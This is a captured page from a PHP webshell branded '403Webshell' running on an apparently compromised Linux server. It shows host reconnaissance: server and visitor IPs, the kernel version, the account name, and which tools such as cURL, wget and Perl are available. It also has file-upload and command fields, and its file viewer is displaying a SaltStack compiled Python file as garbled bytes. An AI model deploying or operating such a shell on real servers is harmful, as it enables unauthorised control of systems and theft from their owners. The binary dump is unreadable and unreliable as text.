403Webshell
Server IP : 198.38.94.13  /  Your IP : 216.73.217.33
Web Server : Apache
System : Linux d4744.dxb1.stableserver.net 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : revivere ( 1140)
PHP Version : 8.2.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/saltstack/salt/lib/python3.10/site-packages/salt/wheel/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/saltstack/salt/lib/python3.10/site-packages/salt/wheel/__pycache__/file_roots.cpython-310.pyc
o

;j4�@sPdZddlZddlZddlZddd�Zddd�Zdd	�Zdd
d�Zddd
�Z	dS)zB
Read in files from the file_root and save files to the file root
�N�basec	Cs�g}|tdvr
|Std|D]H}tj�||�}tjjj||dd�s$qtj�|�rXtjj	�
|d��}tjj	�|�rB|�|di�n|�|di�Wd�n1sSwYq|S)zP
    Return a dict of the files located with the given path and environment
    �
file_rootsT�Zsubdir�rb�txt�binN)
�__opts__�os�path�join�salt�utils�verify�
clean_path�isfile�files�fopenZis_text�append)r
�saltenv�ret�root�full�fp_�r�I/opt/saltstack/salt/lib/python3.10/site-packages/salt/wheel/file_roots.py�finds ���rc
Cs�i}|tdvr
|Std|D]\}i||<tjj�|�D]N\}}}||}||krY|}g}tj�||�sPtj�|�}	|	rC|�d|	�tj�	|�}tj�||�r5|D]}
||
}qR|D]}i||<q[|D]}d||<qdqq|S)z>
    Return all of the file paths found in an environment
    rr�f)
rrr
r
Zos_walkr	�samefile�basename�insert�dirname)
rrZf_rootr�dirsr�subZsrootZaboverZarootZdir_�fn_rrr�list_env!s2�


��r$cCs0i}tdD]}g||<||�t|��q|S)zE
    Return all of the files names in all available environments
    r)rrr$)rrrrr�
list_roots?s
r%c	Cs�g}t||�}|D]8}tt|����}||}|dkrAtjj�|d��}|�|tjj	�
|���i�Wd�n1s<wYq	|S)zP
    Read the contents of a text file, if the file is binary then ignore it
    rrN)r�next�iter�keysrr
rrr�stringutilsZ
to_unicode�read)r
rrrr#rZformrrrrr*Js
��r*cCs�|tdvrd|�d�Sttd|�|krd�||�Stj�|�r(d�||�Std||}tj�||�}tjj	j
||dd�sFd|��Stj�|�}tj�|�sWt�
|�tjj�|d	��}|�tjj�|��Wd
�n1stwYd|��S)z�
    Write the named file, by default the first file found is written, but the
    index of the file can be specified to write to a lower priority file root
    rzNamed environment z is not presentz3Specified index {} in environment {} is not presentz;The path passed in {} is not relative to the environment {}TrzInvalid path: zw+NzWrote data to file )r�len�formatr	r
�isabsrrr
rrr �isdir�makedirsrr�writer)Zto_str)�datar
r�indexr�destZdest_dirrrrrr0Zs*��

�
r0)r)rr)
�__doc__r	Zsalt.utils.filesrZsalt.utils.pathrr$r%r*r0rrrr�<module>s




Youez - 2016 - github.com/yon3zu
LinuXploit